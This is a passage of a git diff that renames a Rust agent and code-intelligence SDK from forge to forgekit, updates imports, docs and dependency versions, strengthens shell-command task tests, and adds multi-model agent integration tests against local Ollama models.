ShellCommandConfig::new("echo").args(vec!["hello".to_string(), "world".to_string()]); +async fn test_shell_command_task_executes_command() { + // Run a shell command that writes a file β€” proves execution + args + working_dir. + let temp_dir = tempfile::tempdir().unwrap(); + let config = ShellCommandConfig::new("sh") + .args(vec![ + "-c".to_string(), + "printf 'hello world' > marker.txt".to_string(), + ]) + .working_dir(temp_dir.path()); let task = ShellCommandTask::with_config(TaskId::new("shell_task"), "Shell Task".to_string(), config); assert_eq!(task.id(), TaskId::new("shell_task")); - assert_eq!(task.command(), "echo"); - assert_eq!(task.args(), &["hello", "world"]); + assert_eq!(task.command(), "sh"); let context = TaskContext::new("workflow_1", task.id()); let result = task.execute(&context).await.unwrap(); assert_eq!(result, TaskResult::Success); + + // The command must have actually run β€” verify the side effect on disk. + let content = + std::fs::read_to_string(temp_dir.path().join("marker.txt")).expect("marker file missing"); + assert_eq!(content, "hello world"); +} + +#[tokio::test] +async fn test_shell_command_task_failure_propagates() { + // A command that exits non-zero must produce TaskResult::Failed. + let config = ShellCommandConfig::new("sh").args(vec!["-c".to_string(), "exit 42".to_string()]); + let task = + ShellCommandTask::with_config(TaskId::new("fail_task"), "Fail Task".to_string(), config); + + let context = TaskContext::new("workflow_1", task.id()); + let result = task.execute(&context).await.unwrap(); + match result { + TaskResult::Failed(msg) => assert!(msg.contains("42"), "error should include exit code"), + other => panic!("expected Failed, got {other:?}"), + } } #[tokio::test] diff --git a/forge_agent/src/workflow/tasks/tool.rs b/forgekit_agent/src/workflow/tasks/tool.rs similarity index 92% rename from forge_agent/src/workflow/tasks/tool.rs rename to forgekit_agent/src/workflow/tasks/tool.rs index 7d1af18..63e712d 100644 --- a/forge_agent/src/workflow/tasks/tool.rs +++ b/forgekit_agent/src/workflow/tasks/tool.rs @@ -13,9 +13,9 @@ use std::sync::Arc; /// # Example /// /// ```ignore -/// use forge_agent::workflow::tasks::ToolTask; -/// use forge_agent::workflow::tools::ToolInvocation; -/// use forge_agent::workflow::TaskId; +/// use forgekit_agent::workflow::tasks::ToolTask; +/// use forgekit_agent::workflow::tools::ToolInvocation; +/// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), @@ -47,8 +47,8 @@ impl ToolTask { /// # Example /// /// ``` - /// use forge_agent::workflow::tasks::ToolTask; - /// use forge_agent::workflow::TaskId; + /// use forgekit_agent::workflow::tasks::ToolTask; + /// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), @@ -78,8 +78,8 @@ impl ToolTask { /// # Example /// /// ``` - /// use forge_agent::workflow::tasks::ToolTask; - /// use forge_agent::workflow::TaskId; + /// use forgekit_agent::workflow::tasks::ToolTask; + /// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), @@ -106,8 +106,8 @@ impl ToolTask { /// # Example /// /// ``` - /// use forge_agent::workflow::tasks::ToolTask; - /// use forge_agent::workflow::TaskId; + /// use forgekit_agent::workflow::tasks::ToolTask; + /// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), @@ -135,8 +135,8 @@ impl ToolTask { /// # Example /// /// ``` - /// use forge_agent::workflow::tasks::ToolTask; - /// use forge_agent::workflow::TaskId; + /// use forgekit_agent::workflow::tasks::ToolTask; + /// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), @@ -163,9 +163,9 @@ impl ToolTask { /// # Example /// /// ``` - /// use forge_agent::workflow::tasks::ToolTask; - /// use forge_agent::workflow::tools::RetryFallback; - /// use forge_agent::workflow::TaskId; + /// use forgekit_agent::workflow::tasks::ToolTask; + /// use forgekit_agent::workflow::tools::RetryFallback; + /// use forgekit_agent::workflow::TaskId; /// /// let task = ToolTask::new( /// TaskId::new("tool_task"), diff --git a/forge_agent/src/workflow/timeout.rs b/forgekit_agent/src/workflow/timeout.rs similarity index 94% rename from forge_agent/src/workflow/timeout.rs rename to forgekit_agent/src/workflow/timeout.rs index 26e59c7..53a0c4e 100644 --- a/forge_agent/src/workflow/timeout.rs +++ b/forgekit_agent/src/workflow/timeout.rs @@ -52,7 +52,7 @@ impl TaskTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TaskTimeout; + /// use forgekit_agent::workflow::timeout::TaskTimeout; /// use std::time::Duration; /// /// let timeout = TaskTimeout::new(Duration::from_secs(30)); @@ -70,7 +70,7 @@ impl TaskTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TaskTimeout; + /// use forgekit_agent::workflow::timeout::TaskTimeout; /// /// let timeout = TaskTimeout::from_secs(30); /// ``` @@ -87,7 +87,7 @@ impl TaskTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TaskTimeout; + /// use forgekit_agent::workflow::timeout::TaskTimeout; /// /// let timeout = TaskTimeout::from_millis(5000); /// ``` @@ -100,7 +100,7 @@ impl TaskTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TaskTimeout; + /// use forgekit_agent::workflow::timeout::TaskTimeout; /// use std::time::Duration; /// /// let timeout = TaskTimeout::from_secs(30); @@ -135,7 +135,7 @@ impl WorkflowTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::WorkflowTimeout; + /// use forgekit_agent::workflow::timeout::WorkflowTimeout; /// use std::time::Duration; /// /// let timeout = WorkflowTimeout::new(Duration::from_secs(300)); @@ -153,7 +153,7 @@ impl WorkflowTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::WorkflowTimeout; + /// use forgekit_agent::workflow::timeout::WorkflowTimeout; /// /// let timeout = WorkflowTimeout::from_secs(300); /// ``` @@ -170,7 +170,7 @@ impl WorkflowTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::WorkflowTimeout; + /// use forgekit_agent::workflow::timeout::WorkflowTimeout; /// /// let timeout = WorkflowTimeout::from_millis(5000); /// ``` @@ -183,7 +183,7 @@ impl WorkflowTimeout { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::WorkflowTimeout; + /// use forgekit_agent::workflow::timeout::WorkflowTimeout; /// use std::time::Duration; /// /// let timeout = WorkflowTimeout::from_secs(300); @@ -209,7 +209,7 @@ impl Default for WorkflowTimeout { /// # Example /// /// ``` -/// use forge_agent::workflow::timeout::TimeoutConfig; +/// use forgekit_agent::workflow::timeout::TimeoutConfig; /// /// // Use default timeouts (30s task, 5m workflow) /// let config = TimeoutConfig::new(); @@ -236,7 +236,7 @@ impl TimeoutConfig { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TimeoutConfig; + /// use forgekit_agent::workflow::timeout::TimeoutConfig; /// use std::time::Duration; /// /// let config = TimeoutConfig::new(); @@ -255,7 +255,7 @@ impl TimeoutConfig { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TimeoutConfig; + /// use forgekit_agent::workflow::timeout::TimeoutConfig; /// /// let config = TimeoutConfig::no_task_timeout(); /// assert!(config.task_timeout.is_none()); @@ -273,7 +273,7 @@ impl TimeoutConfig { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TimeoutConfig; + /// use forgekit_agent::workflow::timeout::TimeoutConfig; /// /// let config = TimeoutConfig::no_workflow_timeout(); /// assert!(config.task_timeout.is_some()); @@ -291,7 +291,7 @@ impl TimeoutConfig { /// # Example /// /// ``` - /// use forge_agent::workflow::timeout::TimeoutConfig; + /// use forgekit_agent::workflow::timeout::TimeoutConfig; /// /// let config = TimeoutConfig::no_timeouts(); /// assert!(config.task_timeout.is_none()); @@ -503,9 +503,9 @@ mod tests { // Execute workflow let result = executor.execute().await; - // In current implementation, tasks complete immediately - // This test verifies the structure is in place - // TODO: Update when actual task execution is implemented + // This is a structural test: verifies the timeout config is wired + // through the executor without panicking. Task-level timeout + // enforcement is exercised by the serial executor tests. assert!(result.is_ok()); } diff --git a/forge_agent/src/workflow/tools/fallback.rs b/forgekit_agent/src/workflow/tools/fallback.rs similarity index 100% rename from forge_agent/src/workflow/tools/fallback.rs rename to forgekit_agent/src/workflow/tools/fallback.rs diff --git a/forge_agent/src/workflow/tools/mod.rs b/forgekit_agent/src/workflow/tools/mod.rs similarity index 100% rename from forge_agent/src/workflow/tools/mod.rs rename to forgekit_agent/src/workflow/tools/mod.rs diff --git a/forge_agent/src/workflow/tools/process.rs b/forgekit_agent/src/workflow/tools/process.rs similarity index 100% rename from forge_agent/src/workflow/tools/process.rs rename to forgekit_agent/src/workflow/tools/process.rs diff --git a/forge_agent/src/workflow/tools/registry.rs b/forgekit_agent/src/workflow/tools/registry.rs similarity index 100% rename from forge_agent/src/workflow/tools/registry.rs rename to forgekit_agent/src/workflow/tools/registry.rs diff --git a/forge_agent/src/workflow/tools/tests.rs b/forgekit_agent/src/workflow/tools/tests.rs similarity index 100% rename from forge_agent/src/workflow/tools/tests.rs rename to forgekit_agent/src/workflow/tools/tests.rs diff --git a/forge_agent/src/workflow/validate.rs b/forgekit_agent/src/workflow/validate.rs similarity index 100% rename from forge_agent/src/workflow/validate.rs rename to forgekit_agent/src/workflow/validate.rs diff --git a/forge_agent/src/workflow/yaml.rs b/forgekit_agent/src/workflow/yaml.rs similarity index 94% rename from forge_agent/src/workflow/yaml.rs rename to forgekit_agent/src/workflow/yaml.rs index 34fcb7a..5a1b91a 100644 --- a/forge_agent/src/workflow/yaml.rs +++ b/forgekit_agent/src/workflow/yaml.rs @@ -250,7 +250,7 @@ impl TryFrom for Workflow { /// # Example /// /// ```ignore -/// use forge_agent::workflow::yaml::load_workflow_from_file; +/// use forgekit_agent::workflow::yaml::load_workflow_from_file; /// /// let workflow = load_workflow_from_file(Path::new("workflow.yaml")).await?; /// ``` @@ -273,7 +273,7 @@ pub async fn load_workflow_from_file(path: &Path) -> Result = yaml_workflow.try_into(); - - assert!(workflow.is_ok()); - let workflow = workflow.unwrap(); + assert_eq!(yaml_workflow.tasks.len(), 1); + + let task = &yaml_workflow.tasks[0]; + assert_eq!(task.id, "run"); + assert_eq!(task.name, "Run Command"); + assert_eq!(task.task_type, YamlTaskType::Shell); + + assert_eq!( + task.params.params.get("command").and_then(|v| v.as_str()), + Some("echo") + ); + let args: Vec<&str> = task + .params + .params + .get("args") + .and_then(|v| v.as_array()) + .map(|arr| arr.iter().filter_map(|v| v.as_str()).collect()) + .unwrap_or_default(); + assert_eq!(args, vec!["hello", "world"]); + + // 2. Verify the full conversion to Workflow preserves the task + let workflow: Workflow = yaml_workflow.try_into().unwrap(); assert_eq!(workflow.task_count(), 1); + assert_eq!(workflow.task_ids(), vec![TaskId::new("run")]); + assert_eq!( + workflow.task_name(&TaskId::new("run")), + Some("Run Command".to_string()) + ); } #[test] diff --git a/forge_agent/tests/envoy_integration.rs b/forgekit_agent/tests/envoy_integration.rs similarity index 96% rename from forge_agent/tests/envoy_integration.rs rename to forgekit_agent/tests/envoy_integration.rs index 9b8e5e3..bc1f96f 100644 --- a/forge_agent/tests/envoy_integration.rs +++ b/forgekit_agent/tests/envoy_integration.rs @@ -5,7 +5,7 @@ #[cfg(feature = "envoy")] mod envoy_tests { - use forge_agent::envoy::{EnvoyClient, EnvoyConfig}; + use forgekit_agent::envoy::{EnvoyClient, EnvoyConfig}; fn client() -> EnvoyClient { EnvoyClient::new(EnvoyConfig { @@ -138,7 +138,7 @@ mod envoy_tests { #[tokio::test] async fn test_knowledge_source_trait() { - use forge_agent::observe::KnowledgeSource; + use forgekit_agent::observe::KnowledgeSource; if !envoy_available().await { eprintln!("SKIP: envoy not reachable"); @@ -159,7 +159,7 @@ mod envoy_tests { #[test] fn test_config_from_missing_file() { - use forge_agent::envoy::EnvoyConfig; + use forgekit_agent::envoy::EnvoyConfig; let result = EnvoyConfig::from_file(std::path::Path::new("/nonexistent/.forge.toml")) .expect("io error"); assert!(result.is_none()); @@ -167,7 +167,7 @@ mod envoy_tests { #[test] fn test_config_from_toml() { - use forge_agent::envoy::EnvoyConfig; + use forgekit_agent::envoy::EnvoyConfig; let dir = tempfile::tempdir().unwrap(); let path = dir.path().join(".forge.toml"); diff --git a/forge_agent/tests/evidence_tests.rs b/forgekit_agent/tests/evidence_tests.rs similarity index 94% rename from forge_agent/tests/evidence_tests.rs rename to forgekit_agent/tests/evidence_tests.rs index d05b8da..3b3ea8a 100644 --- a/forge_agent/tests/evidence_tests.rs +++ b/forgekit_agent/tests/evidence_tests.rs @@ -1,6 +1,6 @@ #![cfg(feature = "envoy")] -use forge_agent::evidence::*; +use forgekit_agent::evidence::*; #[test] fn test_sha256_hex_deterministic() { @@ -274,16 +274,13 @@ async fn test_mock_evidence_recorder() { ) .await; - assert_eq!(recorder.prompts.lock().unwrap().len(), 1); - assert_eq!(recorder.tool_calls.lock().unwrap().len(), 1); - assert_eq!(recorder.file_writes.lock().unwrap().len(), 1); + assert_eq!(recorder.prompts.lock().len(), 1); + assert_eq!(recorder.tool_calls.lock().len(), 1); + assert_eq!(recorder.file_writes.lock().len(), 1); + assert_eq!(recorder.tool_calls.lock()[0].1.tool_name, "magellan_find"); assert_eq!( - recorder.tool_calls.lock().unwrap()[0].1.tool_name, - "magellan_find" - ); - assert_eq!( - recorder.tool_calls.lock().unwrap()[0].1.tool_category, + recorder.tool_calls.lock()[0].1.tool_category, ToolCategory::GroundedQuery ); } @@ -335,9 +332,9 @@ async fn test_forge_session_lifecycle() { tokio::time::sleep(std::time::Duration::from_millis(50)).await; - let prompts = recorder.prompts.lock().unwrap(); - let tool_calls = recorder.tool_calls.lock().unwrap(); - let file_writes = recorder.file_writes.lock().unwrap(); + let prompts = recorder.prompts.lock(); + let tool_calls = recorder.tool_calls.lock(); + let file_writes = recorder.file_writes.lock(); assert!(prompts.len() >= 2, "should have init + recorded prompt"); assert_eq!(tool_calls.len(), 1); @@ -381,7 +378,7 @@ async fn test_session_token_accumulation() { tokio::time::sleep(std::time::Duration::from_millis(50)).await; - let prompts = recorder.prompts.lock().unwrap(); + let prompts = recorder.prompts.lock(); let user_prompts: Vec<_> = prompts .iter() .filter(|(sid, _)| sid.starts_with("session-") || !sid.is_empty()) diff --git a/forgekit_agent/tests/full_workflow.rs b/forgekit_agent/tests/full_workflow.rs new file mode 100644 index 0000000..3c7b27f --- /dev/null +++ b/forgekit_agent/tests/full_workflow.rs @@ -0,0 +1,363 @@ +//! Full-agent workflow integration test. +//! +//! Tests real Agent with file_read, shell_exec, graph_query tools +//! against local Ollama models. Runs against all available models +//! from: qwen3.5, qwen3.5-agent, gemma4:e2b. +//! +//! Run with: +//! cargo test --features llm-ollama --test full_workflow -- --nocapture + +#[cfg(feature = "llm-ollama")] +mod workflow { + use std::sync::{Arc, Mutex}; + + use forgekit_agent::chat::{ + self, AgentEvent, EventBus, OllamaChatProvider, ReactStreamEvent, TokenTracker, + }; + use forgekit_agent::Agent; + use forgekit_agent::LlmConfig; + + const CANDIDATE_MODELS: &[&str] = &["qwen3.5:latest", "qwen3.5-agent:latest", "gemma4:e2b"]; + + async fn ollama_available() -> bool { + reqwest::Client::new() + .get("http://localhost:11434/api/tags") + .send() + .await + .map(|r| r.status().is_success()) + .unwrap_or(false) + } + + async fn available_models() -> Vec { + let Ok(resp) = reqwest::Client::new() + .get("http://localhost:11434/api/tags") + .send() + .await + else { + return Vec::new(); + }; + let body = resp.text().await.unwrap_or_default(); + CANDIDATE_MODELS + .iter() + .filter(|m| { + let base = m.split(':').next().expect("invariant: model name"); + body.contains(base) + }) + .map(|m| m.to_string()) + .collect() + } + + async fn make_agent(model: &str) -> Agent { + Agent::new("/home/feanor/Projects/forge") + .await + .expect("agent creation failed") + .with_chat_provider( + Arc::new(OllamaChatProvider::local()), + LlmConfig::new(model).with_temperature(0.1), + ) + .with_max_iterations(10) + } + + async fn log_tool_events(bus: &EventBus) -> Arc>> { + let log: Arc>> = Arc::new(Mutex::new(Vec::new())); + let log_clone = log.clone(); + bus.subscribe(move |event| { + if let AgentEvent::ToolCallCompleted { + tool_name, success, .. + } = event + { + let status = if *success { "ok" } else { "FAIL" }; + log_clone + .lock() + .expect("log") + .push(format!("{tool_name}:{status}")); + } + if let AgentEvent::MaxIterationsReached { .. } = event { + log_clone + .lock() + .expect("log") + .push("MaxIterationsReached".to_string()); + } + }) + .await; + log + } + + #[tokio::test] + async fn multi_model_read_file() { + if !ollama_available().await { + eprintln!("SKIP: Ollama not reachable"); + return; + } + let models = available_models().await; + if models.is_empty() { + eprintln!("SKIP: No test models found"); + return; + } + + for model in &models { + eprintln!("\n=== {} ===", model); + let agent = make_agent(model).await; + let result = agent + .run_react( + "Read the file Cargo.toml and list all workspace members. \ + Reply with just the member names separated by commas.", + ) + .await; + + match result { + Ok(text) => { + assert!(!text.is_empty(), "[{model}] Answer should not be empty"); + eprintln!(" OK: {text}"); + } + Err(e) => panic!("[{model}] FAILED: {e}"), + } + } + } + + #[tokio::test] + async fn multi_model_multi_step() { + if !ollama_available().await { + eprintln!("SKIP: Ollama not reachable"); + return; + } + let models = available_models().await; + if models.is_empty() { + eprintln!("SKIP: No test models found"); + return; + } + + for model in &models { + eprintln!("\n=== {} ===", model); + let bus = EventBus::new(); + let log = log_tool_events(&bus).await; + let agent = make_agent(model).await.with_event_bus(bus); + + let result = agent + .run_react( + "Do the following in order:\n\ + 1. Use shell_exec to run 'wc -l forgekit_agent/src/chat/react.rs'.\n\ + 2. Read forgekit_agent/src/lib.rs using file_read.\n\ + 3. Tell me the line count of react.rs and the first line of lib.rs. \ + Reply in 2 sentences.", + ) + .await; + + let tools = log.lock().expect("log").clone(); + match result { + Ok(text) => { + eprintln!(" ANSWER: {text}"); + eprintln!(" TOOLS: {tools:?}"); + let tool_ok = tools.iter().filter(|t| t.ends_with(":ok")).count(); + let tool_fail = tools.iter().filter(|t| t.ends_with(":FAIL")).count(); + assert_eq!(tool_fail, 0, "[{model}] Tool calls failed: {tools:?}"); + if tool_ok > 0 { + assert!( + tool_ok >= 2, + "[{model}] If tools were called, should have >= 2, got {tool_ok}" + ); + } + assert!(!text.is_empty(), "[{model}] Answer should not be empty"); + assert!( + !tools.iter().any(|t| t == "MaxIterationsReached"), + "[{model}] Hit max iterations" + ); + } + Err(e) => { + eprintln!(" TOOLS: {tools:?}"); + panic!("[{model}] FAILED: {e}"); + } + } + } + } + + #[tokio::test] + async fn multi_model_streaming() { + if !ollama_available().await { + eprintln!("SKIP: Ollama not reachable"); + return; + } + let models = available_models().await; + if models.is_empty() { + eprintln!("SKIP: No test models found"); + return; + } + + for model in &models { + eprintln!("\n=== {} ===", model); + let agent = make_agent(model).await; + let stream = agent + .run_react_stream("Read Cargo.toml and list the workspace members. Reply briefly.") + .await + .expect("stream creation failed"); + + use futures::StreamExt; + + let mut events: Vec = Vec::new(); + let mut stream = Box::pin(stream); + while let Some(event) = stream.next().await { + match &event { + ReactStreamEvent::LlmEvent(chat::StreamEvent::Token(t)) => eprint!("{t}"), + ReactStreamEvent::ToolExecuted { name, success, .. } => { + eprintln!("\n [TOOL: {name} ok={success}]"); + } + ReactStreamEvent::Answer(a) => eprintln!("\n [ANSWER: {a}]"), + _ => {} + } + events.push(event); + } + + let has_answer = events + .iter() + .any(|e| matches!(e, ReactStreamEvent::Answer(_))); + let tool_count = events + .iter() + .filter(|e| matches!(e, ReactStreamEvent::ToolExecuted { .. })) + .count(); + eprintln!( + " RESULT: {} events, {tool_count} tools, answer={has_answer}", + events.len() + ); + assert!(has_answer, "[{model}] Stream should end with Answer"); + } + } + + #[tokio::test] + async fn multi_model_observability() { + if !ollama_available().await { + eprintln!("SKIP: Ollama not reachable"); + return; + } + let models = available_models().await; + if models.is_empty() { + eprintln!("SKIP: No test models found"); + return; + } + + for model in &models { + eprintln!("\n=== {} ===", model); + let bus = EventBus::new(); + let tracker = TokenTracker::new(); + tracker.attach(&bus).await; + + let event_log: Arc>> = Arc::new(Mutex::new(Vec::new())); + let log_clone = event_log.clone(); + bus.subscribe(move |event| { + let name = match event { + AgentEvent::SessionStarted { .. } => "SessionStarted", + AgentEvent::ToolCallStarted { .. } => "ToolCallStarted", + AgentEvent::ToolCallCompleted { success, .. } => { + if *success { + "ToolCallCompleted:ok" + } else { + "ToolCallCompleted:FAIL" + } + } + AgentEvent::AnswerProduced { .. } => "AnswerProduced", + AgentEvent::MaxIterationsReached { .. } => "MaxIterationsReached", + _ => return, + }; + log_clone.lock().expect("log").push(name.to_string()); + }) + .await; + + let agent = make_agent(model).await.with_event_bus(bus); + let result = agent + .run_react("Read Cargo.toml and tell me the workspace members. One short sentence.") + .await; + + match result { + Ok(text) => { + let usage = tracker.usage().await; + let events = event_log.lock().expect("log"); + eprintln!(" OK: {text}"); + eprintln!(" EVENTS: {:?}", *events); + eprintln!( + " TOKENS: llm_calls={}, prompt={:?}, completion={:?}", + usage.llm_calls, usage.prompt_tokens, usage.completion_tokens + ); + assert!( + events.contains(&"SessionStarted".to_string()), + "[{model}] Should have SessionStarted" + ); + assert!( + events.contains(&"AnswerProduced".to_string()), + "[{model}] Should have AnswerProduced" + ); + assert!(usage.llm_calls > 0, "[{model}] Should have LLM calls"); + } + Err(e) => panic!("[{model}] FAILED: {e}"), + } + } + } + + #[tokio::test] + async fn multi_model_verifier() { + if !ollama_available().await { + eprintln!("SKIP: Ollama not reachable"); + return; + } + let models = available_models().await; + if models.is_empty() { + eprintln!("SKIP: No test models found"); + return; + } + + for model in &models { + eprintln!("\n=== {} ===", model); + let verifier: chat::VerifierFn = + Arc::new(|answer| answer.contains("forge") || answer.contains("core")); + + let bus = EventBus::new(); + let event_log: Arc>> = Arc::new(Mutex::new(Vec::new())); + let log_clone = event_log.clone(); + bus.subscribe(move |event| match event { + AgentEvent::VerificationFailed { .. } => { + log_clone + .lock() + .expect("log") + .push("VerificationFailed".to_string()); + } + AgentEvent::AnswerProduced { .. } => { + log_clone + .lock() + .expect("log") + .push("AnswerProduced".to_string()); + } + _ => {} + }) + .await; + + let agent = make_agent(model) + .await + .with_verifier(verifier) + .with_event_bus(bus); + + let result = agent + .run_react( + "Read Cargo.toml and tell me about the workspace. \ + Make sure your answer mentions forge.", + ) + .await; + + match result { + Ok(text) => { + let events = event_log.lock().expect("log"); + eprintln!(" OK: {text}"); + eprintln!(" EVENTS: {:?}", *events); + assert!( + events.contains(&"AnswerProduced".to_string()), + "[{model}] Should produce answer" + ); + } + Err(e) => panic!("[{model}] FAILED: {e}"), + } + } + } +} + +#[cfg(not(feature = "llm-ollama"))] +#[test] +fn full_workflow_feature_not_enabled() { + eprintln!("llm-ollama feature not enabled; skipping full workflow tests"); +} diff --git a/forge_agent/tests/llm_providers_integration.rs b/forgekit_agent/tests/llm_providers_integration.rs similarity index 97% rename from forge_agent/tests/llm_providers_integration.rs rename to forgekit_agent/tests/llm_providers_integration.rs index ce8ce85..fb87e0b 100644 --- a/forge_agent/tests/llm_providers_integration.rs +++ b/forgekit_agent/tests/llm_providers_integration.rs @@ -12,7 +12,7 @@ #[cfg(feature = "llm-ollama")] mod ollama { - use forge_agent::{llm::LlmProvider, OllamaProvider}; + use forgekit_agent::{LlmProvider, OllamaProvider}; async fn available() -> bool { reqwest::Client::new() @@ -58,7 +58,7 @@ mod ollama { #[cfg(feature = "llm-openai")] mod openai { - use forge_agent::{llm::LlmProvider, OpenAiProvider}; + use forgekit_agent::{LlmProvider, OpenAiProvider}; fn api_key() -> Option { std::env::var("OPENAI_API_KEY").ok() @@ -124,7 +124,7 @@ mod openai { #[cfg(feature = "llm-anthropic")] mod anthropic { - use forge_agent::{llm::LlmProvider, AnthropicProvider}; + use forgekit_agent::{AnthropicProvider, LlmProvider}; fn api_key() -> Option { std::env::var("ANTHROPIC_API_KEY").ok() diff --git a/forge_agent/tests/ollama_integration.rs b/forgekit_agent/tests/ollama_integration.rs similarity index 98% rename from forge_agent/tests/ollama_integration.rs rename to forgekit_agent/tests/ollama_integration.rs index 4b0994d..a4391da 100644 --- a/forge_agent/tests/ollama_integration.rs +++ b/forgekit_agent/tests/ollama_integration.rs @@ -4,7 +4,7 @@ #[cfg(feature = "llm-ollama")] mod ollama_tests { - use forge_agent::{llm::LlmProvider, OllamaProvider}; + use forgekit_agent::{LlmProvider, OllamaProvider}; const MODEL: &str = "qwen3.5:latest"; diff --git a/forge_core/Cargo.toml b/forgekit_core/Cargo.toml similarity index 82% rename from forge_core/Cargo.toml rename to forgekit_core/Cargo.toml index be3f79e..e96a02a 100644 --- a/forge_core/Cargo.toml +++ b/forgekit_core/Cargo.toml @@ -1,14 +1,14 @@ [package] -name = "forge-core" -version = "0.3.0" +name = "forgekit-core" +version = "0.5.0" edition = "2021" -license = "GPL-3.0-or-later" +license = "GPL-3.0-only" repository = "https://github.com/oldnordic/forge" readme = "README.md" description = "Deterministic code intelligence SDK - Core library" [lib] -name = "forge_core" +name = "forgekit_core" path = "src/lib.rs" [dependencies] @@ -20,6 +20,7 @@ serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" toml = "0.8" tracing = "0.1" +parking_lot = "0.12" blake3 = "1.5" regex = "1" async-trait = "0.1" @@ -30,13 +31,13 @@ rusqlite = { version = "0.31", features = ["bundled"] } notify = "8" # Graph database -sqlitegraph = { version = "3.0.7", features = ["sqlite-backend"], default-features = false, optional = true } +sqlitegraph = { version = "3.2.5", features = ["sqlite-backend"], default-features = false, optional = true } # Tool integrations -magellan = "4.2" -llmgrep = "3.7" -mirage-analyzer = "1.7" -splice = "2.8" +magellan = "4.7" +llmgrep = "3.8" +mirage-analyzer = "1.8" +splice = "2.9" which = "6.0" # Diff engine diff --git a/forge_core/DEBUGGING.md b/forgekit_core/DEBUGGING.md similarity index 99% rename from forge_core/DEBUGGING.md rename to forgekit_core/DEBUGGING.md index 3a21c14..8ea5bb7 100644 --- a/forge_core/DEBUGGING.md +++ b/forgekit_core/DEBUGGING.md @@ -26,7 +26,7 @@ forge analysis --since-checkpoint checkpoint_5 ### πŸ•΅οΈ The LLM Claims Something That's Not True ```rust -use forge_core::Forge; +use forgekit_core::Forge; let forge = Forge::open("./my-project").await?; @@ -237,7 +237,7 @@ println!("Block {:?} must execute before block 5", idom); ### Workflow 3: Compare Before/After States ```rust -use forge_reasoning::Checkpoint; +use forgekit_reasoning::Checkpoint; // Load two checkpoints let before = Checkpoint::load("checkpoint_5").await?; @@ -289,7 +289,7 @@ forge checkpoint restore checkpoint_6 # Middle Or programmatically: ```rust -use forge_reasoning::Checkpoint; +use forgekit_reasoning::Checkpoint; let checkpoints = Checkpoint::list_all().await?; let (mut good, mut bad) = (0, checkpoints.len() - 1); diff --git a/forge_core/MANUAL.md b/forgekit_core/MANUAL.md similarity index 94% rename from forge_core/MANUAL.md rename to forgekit_core/MANUAL.md index 53a13a3..4607715 100644 --- a/forge_core/MANUAL.md +++ b/forgekit_core/MANUAL.md @@ -27,7 +27,7 @@ You look at the code... does it? Or is the LLM hallucinating? ForgeKit's CFG (Control Flow Graph) analysis verifies every claim against ground truth: ```rust -use forge_core::Forge; +use forgekit_core::Forge; let forge = Forge::open("./my-project").await?; @@ -54,7 +54,7 @@ if let Some(cfg) = cfg { ### The Rule -**If the Agent claims a function does X, but the forge_core graph shows the CFG never reaches that path, the Contradiction Detector flags it.** +**If the Agent claims a function does X, but the forgekit_core graph shows the CFG never reaches that path, the Contradiction Detector flags it.** No more "trust me bro" from the LLM. @@ -95,8 +95,8 @@ The LLM made a change. Why? What was it thinking? Can you prove this change was Every change must be linked to a **Confirmed Hypothesis** with evidence. ```rust -use forge_core::Forge; -use forge_reasoning::{HypothesisBoard, Evidence, Confidence}; +use forgekit_core::Forge; +use forgekit_reasoning::{HypothesisBoard, Evidence, Confidence}; let forge = Forge::open("./my-project").await?; let board = HypothesisBoard::new(&forge).await?; @@ -143,7 +143,7 @@ for change in suspect_changes { ```rust // Monitor hypothesis changes in real-time -let ws = forge_reasoning::WebSocketServer::new(8080); +let ws = forgekit_reasoning::WebSocketServer::new(8080); ws.on_hypothesis_confirmed(|hypothesis| { println!("βœ… Hypothesis confirmed: {}", hypothesis.id); @@ -169,8 +169,8 @@ The LLM just deleted half the source tree. Or introduced a subtle bug. You need **Temporal Checkpointing is not just a feature - it's State Insurance.** ```rust -use forge_core::Forge; -use forge_reasoning::Checkpoint; +use forgekit_core::Forge; +use forgekit_reasoning::Checkpoint; let forge = Forge::open("./my-project").await?; @@ -237,13 +237,13 @@ let forge = Forge::builder() ### Installation ```bash -cargo add forge_core --features treesitter-cfg +cargo add forgekit_core --features treesitter-cfg ``` ### Basic Usage ```rust -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { diff --git a/forge_runtime/README.md b/forgekit_core/README.md similarity index 85% rename from forge_runtime/README.md rename to forgekit_core/README.md index daa9ad4..0cb123d 100644 --- a/forge_runtime/README.md +++ b/forgekit_core/README.md @@ -1,9 +1,11 @@ -# ForgeKit - Deterministic Code Intelligence SDK +# forgekit-core -[![Crates.io](https://img.shields.io/crates/v/forge-core)](https://crates.io/crates/forge-core) -[![Documentation](https://docs.rs/forge-core/badge.svg)](https://docs.rs/forge-core) +[![Crates.io](https://img.shields.io/crates/v/forgekit-core)](https://crates.io/crates/forgekit-core) +[![Documentation](https://docs.rs/forgekit-core/badge.svg)](https://docs.rs/forgekit-core) [![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) +**Status: alpha β€” work in progress. APIs may change until v1.0.** + ForgeKit provides a unified SDK for code intelligence operations, integrating multiple tools into a single API with support for both SQLite and Native V3 backends. ## Features @@ -19,7 +21,7 @@ ForgeKit provides a unified SDK for code intelligence operations, integrating mu ## Quick Start ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::{Forge, BackendKind}; #[tokio::main] async 